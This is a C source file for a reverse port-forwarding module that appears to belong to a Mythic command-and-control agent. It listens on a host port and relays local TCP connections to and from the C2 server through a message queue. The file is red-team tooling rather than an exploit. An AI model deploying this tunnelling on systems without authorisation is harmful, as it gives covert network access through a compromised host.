#include "rpfwd_manager.h"
#include "debug.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
#include "utils.h"
#include <stdint.h>
#include <errno.h>

#ifdef _WIN32
  #include <windows.h>
  #include <winsock2.h>
  #include <ws2tcpip.h>
  #pragma comment(lib,"Ws2_32.lib")
  typedef SOCKET sock_t;
  #define CLOSESOCK(s) closesocket(s)
#else
  #include <unistd.h>
  #include <pthread.h>
  #include <sys/socket.h>
  #include <sys/types.h>
  #include <netinet/in.h>
  #include <arpa/inet.h>
  #include <netdb.h>
  typedef int sock_t;
  #define INVALID_SOCKET -1
  #define SOCKET_ERROR -1
  #define CLOSESOCK(s) close(s)
#endif


volatile int rpfwd_active = 0; // Flag global de estado RPFWD

typedef struct rpfwd_conn_entry {
    uint32_t server_id;
    sock_t sock;
    uint32_t port;  // Local port this connection is on
    struct rpfwd_conn_entry *next;
    int closed;
} rpfwd_conn_entry_t;

static rpfwd_conn_entry_t *conn_list = NULL;
#ifdef _WIN32
static CRITICAL_SECTION conn_lock;
#else
static pthread_mutex_t conn_lock = PTHREAD_MUTEX_INITIALIZER;
#endif

typedef struct outgoing_node {
    rpfwd_msg_t msg;
    struct outgoing_node *next;
} outgoing_node_t;
static outgoing_node_t *out_head = NULL;
static outgoing_node_t *out_tail = NULL;

#ifdef _WIN32
static CRITICAL_SECTION out_lock;
#else
static pthread_mutex_t out_lock = PTHREAD_MUTEX_INITIALIZER;
#endif

static sock_t listener_sock = INVALID_SOCKET;
static uint16_t listener_port = 0;

#ifdef _WIN32
static HANDLE listener_thread_handle = NULL;
#else
static pthread_t listener_thread_id = 0;
#endif

/* === Inicialización / limpieza === */

void rpfwd_manager_init(void) {
_inf("rpfwd_manager_init: INICIO");
    static int initialized = 0;
    if (initialized) {
_inf("rpfwd_manager_init: Ya inicializado, retornando");
        return;
    }
    initialized = 1;
_inf("rpfwd_manager_init: Inicializando por primera vez...");
    
#ifdef _WIN32
_inf("rpfwd_manager_init: Inicializando CriticalSections...");
    InitializeCriticalSection(&conn_lock);
    InitializeCriticalSection(&out_lock);
_inf("rpfwd_manager_init: Inicializando Winsock...");
    WSADATA wsa;
    int wsa_ret = WSAStartup(MAKEWORD(2,2), &wsa);
    if (wsa_ret != 0) {
        _err("rpfwd_manager_init: WSAStartup falló con error %d", wsa_ret);
    } else {
_inf("rpfwd_manager_init: WSAStartup OK");
    }
#else
    pthread_mutex_init(&conn_lock, NULL);
    pthread_mutex_init(&out_lock, NULL);
#endif
_inf("rpfwd_manager_init: COMPLETADO");
}

void rpfwd_manager_cleanup(void) {
_dbg("rpfwd_manager_cleanup()");
    rpfwd_manager_stop_listener();
    
#ifdef _WIN32
    EnterCriticalSection(&conn_lock);
#else
    pthread_mutex_lock(&conn_lock);
#endif
    rpfwd_conn_entry_t *cur = conn_list;
    while (cur) {
        if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
        rpfwd_conn_entry_t *n = cur->next;
        free(cur);
        cur = n;
    }
    conn_list = NULL;
#ifdef _WIN32
    LeaveCriticalSection(&conn_lock);
    DeleteCriticalSection(&conn_lock);
    DeleteCriticalSection(&out_lock);
    WSACleanup();
#else
    pthread_mutex_unlock(&conn_lock);
    pthread_mutex_destroy(&conn_lock);
    pthread_mutex_destroy(&out_lock);
#endif
    rpfwd_active = 0;
}

/* === Gestión de conexiones === */

static rpfwd_conn_entry_t* find_entry(uint32_t server_id) {
#ifdef _WIN32
    EnterCriticalSection(&conn_lock);
#else
    pthread_mutex_lock(&conn_lock);
#endif
    rpfwd_conn_entry_t *cur = conn_list;
    while (cur) {
        if (cur->server_id == server_id) {
#ifdef _WIN32
            LeaveCriticalSection(&conn_lock);
#else
            pthread_mutex_unlock(&conn_lock);
#endif
            return cur;
        }
        cur = cur->next;
    }
#ifdef _WIN32
    LeaveCriticalSection(&conn_lock);
#else
    pthread_mutex_unlock(&conn_lock);
#endif
    return NULL;
}

static rpfwd_conn_entry_t* create_entry(uint32_t server_id, sock_t s, uint32_t port) {
    rpfwd_conn_entry_t *e = malloc(sizeof(rpfwd_conn_entry_t));
    if (!e) return NULL;
    e->server_id = server_id;
    e->sock = s;
    e->port = port;
    e->next = NULL;
    e->closed = 0;
#ifdef _WIN32
    EnterCriticalSection(&conn_lock);
#else
    pthread_mutex_lock(&conn_lock);
#endif
    e->next = conn_list;
    conn_list = e;
#ifdef _WIN32
    LeaveCriticalSection(&conn_lock);
#else
    pthread_mutex_unlock(&conn_lock);
#endif
_dbg("create_entry sid=%u sock=%d port=%u", server_id, (int)s, port);
    return e;
}

static void remove_entry(uint32_t server_id) {
#ifdef _WIN32
    EnterCriticalSection(&conn_lock);
#else
    pthread_mutex_lock(&conn_lock);
#endif
    rpfwd_conn_entry_t *cur = conn_list, *prev = NULL;
    while (cur) {
        if (cur->server_id == server_id) {
            if (prev) prev->next = cur->next;
            else conn_list = cur->next;
            if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
_dbg("remove_entry sid=%u", server_id);
            free(cur);
            break;
        }
        prev = cur;
        cur = cur->next;
    }
#ifdef _WIN32
    LeaveCriticalSection(&conn_lock);
#else
    pthread_mutex_unlock(&conn_lock);
#endif
}

/* === Cola de salida === */

static void enqueue_outgoing(rpfwd_msg_t *m) {
_dbg("enqueue_outgoing: sid=%u exit=%d len=%zu port=%u", m->server_id, m->exit_flag, m->data_len, m->port);
    outgoing_node_t *n = malloc(sizeof(outgoing_node_t));
    memset(n,0,sizeof(*n));
    n->msg.server_id = m->server_id;
    n->msg.exit_flag = m->exit_flag;
    n->msg.data_len = m->data_len;
    n->msg.port = m->port;
    if (m->data_len) {
        n->msg.data = malloc(m->data_len);
        memcpy(n->msg.data, m->data, m->data_len);
    } else n->msg.data = NULL;
    n->next = NULL;
#ifdef _WIN32
    EnterCriticalSection(&out_lock);
#else
    pthread_mutex_lock(&out_lock);
#endif
    if (!out_tail) out_head = out_tail = n;
    else { out_tail->next = n; out_tail = n; }
#ifdef _WIN32
    LeaveCriticalSection(&out_lock);
#else
    pthread_mutex_unlock(&out_lock);
#endif
_dbg("Mensaje RPFWD encolado OK (sid=%u)", m->server_id);
}

/* === Volcado de cola de salida === */
void rpfwd_manager_flush_outgoing(rpfwd_send_cb_t cb, void *ctx) {
_dbg("rpfwd_flush_outgoing: iniciando");
    if (!cb) {
        _err("ERROR: callback es NULL");
        return;
    }
#ifdef _WIN32
    EnterCriticalSection(&out_lock);
#else
    pthread_mutex_lock(&out_lock);
#endif
    outgoing_node_t *n = out_head;
    out_head = out_tail = NULL;
#ifdef _WIN32
    LeaveCriticalSection(&out_lock);
#else
    pthread_mutex_unlock(&out_lock);
#endif

    int count = 0;
    while (n) {
        count++;
_dbg("rpfwd_flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu port=%u)", 
             count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len, n->msg.port);
        outgoing_node_t *next = n->next;
        cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, n->msg.port, ctx);
        if (n->msg.data) free(n->msg.data);
        free(n);
        n = next;
    }
_dbg("rpfwd_flush_outgoing: completado (%d mensajes procesados)", count);
}

/* === Generar server_id único === */
static uint32_t generate_server_id(void) {
    // Generate random server_id (uint32_t)
    // Use combination of time and random
#ifdef _WIN32
    srand((unsigned int)(time(NULL) ^ GetCurrentProcessId()));
#else
    srand((unsigned int)(time(NULL) ^ getpid()));
#endif
    uint32_t sid = (uint32_t)aleatorioInt32(1000, 0x7FFFFFFF);
    // Ensure it's unique by checking existing entries (limit iterations to avoid infinite loop)
    int max_iterations = 100;
    while (find_entry(sid) != NULL && max_iterations-- > 0) {
        sid = (uint32_t)aleatorioInt32(1000, 0x7FFFFFFF);
    }
    if (max_iterations <= 0) {
        _err("rpfwd ERROR: Could not generate unique server_id");
        sid = 0;
    }
    return sid;
}

/* === Thread lector (lee de conexión local y envía a Mythic) === */
#ifdef _WIN32
DWORD WINAPI rpfwd_reader_thread(LPVOID arg);
#else
static void* rpfwd_reader_thread(void* arg);
#endif

typedef struct rpfwd_reader_args {
    uint32_t server_id;
    sock_t s;
    uint32_t port;
} rpfwd_reader_args_t;

#ifdef _WIN32
DWORD WINAPI rpfwd_reader_thread(LPVOID arg) {
    rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)arg;
    if (!ra) {
        _err("rpfwd_reader_thread: arg is NULL");
        return 1;
    }
    uint32_t sid = ra->server_id;
    sock_t s = ra->s;
    uint32_t port = ra->port;
    free(ra);
_dbg("rpfwd_reader_thread iniciado para sid=%u socket=%d port=%u", sid, (int)s, port);
    unsigned char *buf = (unsigned char*)malloc(4096);
    if (!buf) {
        _err("rpfwd_reader_thread: malloc failed");
        CLOSESOCK(s);
        rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
        enqueue_outgoing(&m2);
        return 1;
    }
    int loop_count = 0;
    while (1) {
        loop_count++;
_dbg("rpfwd sid=%u loop #%d, llamando recv()...", sid, loop_count);
        int r = recv(s, (char*)buf, 4096, 0);
_dbg("rpfwd sid=%u recv() retornó r=%d", sid, r);
        if (r < 0) {
            int err = WSAGetLastError();
_dbg("rpfwd WSAError=%d", err);
        }
        if (r <= 0) break;
_dbg("rpfwd sid=%u recibió %d bytes, encolando...", sid, r);
        // Allocate new buffer for the message
        unsigned char *msg_buf = (unsigned char*)malloc(r);
        if (msg_buf) {
            memcpy(msg_buf, buf, r);
            rpfwd_msg_t m = {sid, 0, msg_buf, (size_t)r, port};
            enqueue_outgoing(&m);
_dbg("rpfwd sid=%u datos encolados OK", sid);
        } else {
            _err("rpfwd_reader_thread: malloc for msg_buf failed");
        }
    }
_dbg("rpfwd sid=%u salió del loop, cerrando socket", sid);
    free(buf);
_dbg("rpfwd reader sid=%u closing", sid);
    rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
    enqueue_outgoing(&m2);
    CLOSESOCK(s);
_dbg("rpfwd reader thread terminado para sid=%u", sid);
    return 0;
}
#else
static void* rpfwd_reader_thread(void* arg) {
    rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)arg;
    if (!ra) {
        _err("rpfwd_reader_thread: arg is NULL");
        return NULL;
    }
    uint32_t sid = ra->server_id;
    sock_t s = ra->s;
    uint32_t port = ra->port;
    free(ra);
    unsigned char *buf = (unsigned char*)malloc(4096);
    if (!buf) {
        _err("rpfwd_reader_thread: malloc failed");
        CLOSESOCK(s);
        rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
        enqueue_outgoing(&m2);
        return NULL;
    }
    while (1) {
        ssize_t r = recv(s, buf, 4096, 0);
        if (r <= 0) break;
_dbg("rpfwd reader sid=%u recv=%zd", sid, r);
        // Allocate new buffer for the message
        unsigned char *msg_buf = (unsigned char*)malloc(r);
        if (msg_buf) {
            memcpy(msg_buf, buf, r);
            rpfwd_msg_t m = {sid, 0, msg_buf, (size_t)r, port};
            enqueue_outgoing(&m);
        } else {
            _err("rpfwd_reader_thread: malloc for msg_buf failed");
        }
    }
    free(buf);
_dbg("rpfwd reader sid=%u closing", sid);
    rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
    enqueue_outgoing(&m2);
    CLOSESOCK(s);
    return NULL;
}
#endif

/* === Thread listener (acepta conexiones locales) === */
#ifdef _WIN32
DWORD WINAPI rpfwd_listener_thread(LPVOID arg);
#else
static void* rpfwd_listener_thread(void* arg);
#endif

#ifdef _WIN32
DWORD WINAPI rpfwd_listener_thread(LPVOID arg) {
    uint16_t port = *(uint16_t*)arg;
    free(arg);
_inf("rpfwd_listener_thread iniciado en puerto %u", port);
    
    struct sockaddr_in sa;
    sock_t listen_sock = socket(AF_INET, SOCK_STREAM, 0);
    if (listen_sock == INVALID_SOCKET) {
        DWORD err = WSAGetLastError();
        _err("rpfwd ERROR: socket() failed, WSAError=%lu", err);
        rpfwd_active = 0;
        return 1;
    }
_inf("rpfwd socket creado exitosamente");
    
    // Set SO_REUSEADDR
    int opt = 1;
    if (setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, (char*)&opt, sizeof(opt)) != 0) {
        DWORD err = WSAGetLastError();
        _wrn("rpfwd WARNING: setsockopt SO_REUSEADDR failed, WSAError=%lu (continuando...)", err);
    }
    
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = INADDR_ANY;
    sa.sin_port = htons(port);
    
    if (bind(listen_sock, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
        DWORD err = WSAGetLastError();
        _err("rpfwd ERROR: bind() failed on port %u, WSAError=%lu", port, err);
        if (err == WSAEACCES || err == 10013) {
            _err("rpfwd ERROR: Puerto %u requiere privilegios de administrador (puertos privilegiados: <1024)", port);
            _err("rpfwd ERROR: Sugerencia: Usa un puerto no privilegiado (>=1024), ej: 8080, 4444, 5555");
        } else if (err == WSAEADDRINUSE || err == 10048) {
            _err("rpfwd ERROR: Puerto %u ya está en uso", port);
        } else {
            _err("rpfwd ERROR: Error desconocido al hacer bind(), WSAError=%lu", err);
        }
        CLOSESOCK(listen_sock);
        rpfwd_active = 0;
        return 1;
    }
_inf("rpfwd bind exitoso en puerto %u", port);
    
    if (listen(listen_sock, 10) != 0) {
        DWORD err = WSAGetLastError();
        _err("rpfwd ERROR: listen() failed, WSAError=%lu", err);
        CLOSESOCK(listen_sock);
        rpfwd_active = 0;
        return 1;
    }
_inf("rpfwd listen exitoso");
    
    listener_sock = listen_sock;
_inf("rpfwd listener escuchando en puerto %u (socket=%d)", port, (int)listen_sock);
    
    while (rpfwd_active) {
        struct sockaddr_in client_addr;
        int addr_len = sizeof(client_addr);
_dbg("rpfwd esperando conexión en puerto %u...", port);
        sock_t client_sock = accept(listen_sock, (struct sockaddr*)&client_addr, &addr_len);
        
        if (client_sock == INVALID_SOCKET) {
            DWORD err = WSAGetLastError();
            if (!rpfwd_active) {
_inf("rpfwd listener deteniéndose (rpfwd_active=0)");
                break;
            }
            if (err != WSAEWOULDBLOCK && err != 0) {
                _wrn("rpfwd accept() error: WSAError=%lu (continuando...)", err);
            }
            continue;
        }
        
        // Generate unique server_id for this connection
        uint32_t sid = generate_server_id();
_dbg("rpfwd nueva conexión aceptada: sid=%u desde %s:%u", sid, 
         inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
        
        // Set timeout
        int timeout_ms = 60000; // 60s
        setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms));
        
        // Create entry
        create_entry(sid, client_sock, port);
        
        // Spawn reader thread
        rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)malloc(sizeof(rpfwd_reader_args_t));
        if (!ra) {
            _err("rpfwd ERROR: malloc failed for reader args");
            CLOSESOCK(client_sock);
            continue;
        }
        ra->server_id = sid;
        ra->s = client_sock;
        ra->port = port;
        
        // Send initial data notification to Mythic (empty data, new connection)
        rpfwd_msg_t m = {sid, 0, NULL, 0, port};
        enqueue_outgoing(&m);
        
        HANDLE th = CreateThread(NULL, 0, rpfwd_reader_thread, ra, 0, NULL);
        if (!th) {
            _err("rpfwd ERROR: CreateThread failed for reader");
            free(ra);
            CLOSESOCK(client_sock);
            remove_entry(sid);
            continue;
        }
        CloseHandle(th); // Don't wait for thread, just close handle
    }
    
    CLOSESOCK(listen_sock);
    listener_sock = INVALID_SOCKET;
_dbg("rpfwd_listener_thread terminado");
    return 0;
}
#else
static void* rpfwd_listener_thread(void* arg) {
    uint16_t port = *(uint16_t*)arg;
    free(arg);
_dbg("rpfwd_listener_thread iniciado en puerto %u", port);
    
    struct sockaddr_in sa;
    sock_t listen_sock = socket(AF_INET, SOCK_STREAM, 0);
    if (listen_sock == INVALID_SOCKET) {
        _err("rpfwd ERROR: socket() failed");
        return (void*)(intptr_t)1;
    }
    
    // Set SO_REUSEADDR
    int opt = 1;
    setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
    
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = INADDR_ANY;
    sa.sin_port = htons(port);
    
    if (bind(listen_sock, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
        _err("rpfwd ERROR: bind() failed on port %u, errno=%d", port, errno);
        CLOSESOCK(listen_sock);
        return (void*)(intptr_t)1;
    }
    
    if (listen(listen_sock, 10) != 0) {
        _err("rpfwd ERROR: listen() failed, errno=%d", errno);
        CLOSESOCK(listen_sock);
        return (void*)(intptr_t)1;
    }
    
    listener_sock = listen_sock;
_dbg("rpfwd listener escuchando en puerto %u", port);
    
    while (rpfwd_active) {
        struct sockaddr_in client_addr;
        socklen_t addr_len = sizeof(client_addr);
        sock_t client_sock = accept(listen_sock, (struct sockaddr*)&client_addr, &addr_len);
        
        if (client_sock == INVALID_SOCKET) {
            if (!rpfwd_active) break;
            continue;
        }
        
        // Generate unique server_id
        uint32_t sid = generate_server_id();
_dbg("rpfwd nueva conexión aceptada: sid=%u desde %s:%u", sid,
         inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
        
        // Set timeout
        struct timeval timeout;
        timeout.tv_sec = 60;
        timeout.tv_usec = 0;
        setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout));
        
        // Create entry
        create_entry(sid, client_sock, port);
        
        // Spawn reader thread
        rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)malloc(sizeof(rpfwd_reader_args_t));
        if (!ra) {
            _err("rpfwd ERROR: malloc failed for reader args");
            CLOSESOCK(client_sock);
            continue;
        }
        ra->server_id = sid;
        ra->s = client_sock;
        ra->port = port;
        
        // Send initial data notification to Mythic (empty data, new connection)
        rpfwd_msg_t m = {sid, 0, NULL, 0, port};
        enqueue_outgoing(&m);
        
        pthread_t tid;
        if (pthread_create(&tid, NULL, rpfwd_reader_thread, ra) != 0) {
            _err("rpfwd ERROR: pthread_create failed for reader");
            free(ra);
            CLOSESOCK(client_sock);
            remove_entry(sid);
            continue;
        }
        pthread_detach(tid);
    }
    
    CLOSESOCK(listen_sock);
    listener_sock = INVALID_SOCKET;
_dbg("rpfwd_listener_thread terminado");
    return NULL;
}
#endif

/* === Procesamiento principal (datos desde Mythic hacia conexión local) === */
int rpfwd_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, uint32_t port) {
_dbg("rpfwd_process_incoming: sid=%u exit=%d len=%zu port=%u", server_id, exit_flag, data_len, port);
    if (server_id == 0) {
        _err("rpfwd ERROR: invalid server_id=%u", server_id);
        return -4;
    }

    if (exit_flag) {
_dbg("rpfwd Exit flag set, removiendo entry sid=%u", server_id);
        remove_entry(server_id);
        return 0;
    }

    rpfwd_conn_entry_t *e = find_entry(server_id);
    if (!e) {
_dbg("rpfwd Nueva conexión desde Mythic para sid=%u, pero no existe entry local", server_id);
        // Entry doesn't exist - might be a new connection notification from Mythic
        // This is normal for RPFWD, just ignore
        return 0;
    }

    if (e->closed) {
_dbg("rpfwd Conexión sid=%u ya está cerrada", server_id);
        return 0;
    }

    // Forward data to local TCP connection
    if (data_len > 0 && data) {
        int sent = send(e->sock, (const char*)data, (int)data_len, 0);
        if (sent <= 0) {
_dbg("rpfwd Error enviando datos a sid=%u, cerrando", server_id);
            remove_entry(server_id);
            rpfwd_msg_t m = {server_id, 1, NULL, 0, port};
            enqueue_outgoing(&m);
            return -1;
        }
_dbg("rpfwd Enviados %d bytes a sid=%u", sent, server_id);
    }

    return 0;
}

/* === Start/Stop listener === */
int rpfwd_manager_start_listener(uint16_t local_port) {
    if (rpfwd_active) {
_dbg("rpfwd ya está activo en puerto %u", listener_port);
        return 0;
    }
    
    rpfwd_manager_init();
    rpfwd_active = 1;
    listener_port = local_port;
_inf("rpfwd_manager_start_listener: iniciando listener en puerto %u", local_port);
    
    uint16_t *port_arg = (uint16_t*)malloc(sizeof(uint16_t));
    if (!port_arg) {
        _err("rpfwd ERROR: malloc failed for port_arg");
        rpfwd_active = 0;
        return -1;
    }
    *port_arg = local_port;
    
#ifdef _WIN32
    listener_thread_handle = CreateThread(NULL, 0, rpfwd_listener_thread, port_arg, 0, NULL);
    if (!listener_thread_handle) {
        _err("rpfwd ERROR: failed to create listener thread (error: %lu)", GetLastError());
        rpfwd_active = 0;
        free(port_arg);
        return -1;
    }
_inf("rpfwd listener thread creado exitosamente");
    // Don't close handle immediately - we need it to check if thread is still alive
#else
    if (pthread_create(&listener_thread_id, NULL, rpfwd_listener_thread, port_arg) != 0) {
        _err("rpfwd ERROR: failed to create listener thread");
        rpfwd_active = 0;
        free(port_arg);
        return -1;
    }
_inf("rpfwd listener thread creado exitosamente");
    pthread_detach(listener_thread_id);
#endif
    
    // Give the thread a moment to initialize and report any errors
    Sleep(100);
    
    // Check if the listener socket was created successfully
    if (listener_sock == INVALID_SOCKET && rpfwd_active) {
        _wrn("rpfwd listener socket no se creó, thread podría haber fallado");
        // Thread might have failed - reset active flag
        rpfwd_active = 0;
        return -2;
    }
    
    return 0;
}

int rpfwd_manager_stop_listener(void) {
_dbg("rpfwd_manager_stop_listener()");
    rpfwd_active = 0;
    
    if (listener_sock != INVALID_SOCKET) {
        CLOSESOCK(listener_sock);
        listener_sock = INVALID_SOCKET;
    }
    
#ifdef _WIN32
    if (listener_thread_handle) {
        WaitForSingleObject(listener_thread_handle, 2000);
        CloseHandle(listener_thread_handle);
        listener_thread_handle = NULL;
    }
#endif
    
#ifdef _WIN32
    EnterCriticalSection(&conn_lock);
#else
    pthread_mutex_lock(&conn_lock);
#endif
    rpfwd_conn_entry_t *cur = conn_list;
    while (cur) {
        if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
        cur = cur->next;
    }
#ifdef _WIN32
    LeaveCriticalSection(&conn_lock);
#else
    pthread_mutex_unlock(&conn_lock);
#endif
    
    listener_port = 0;
    return 0;
}

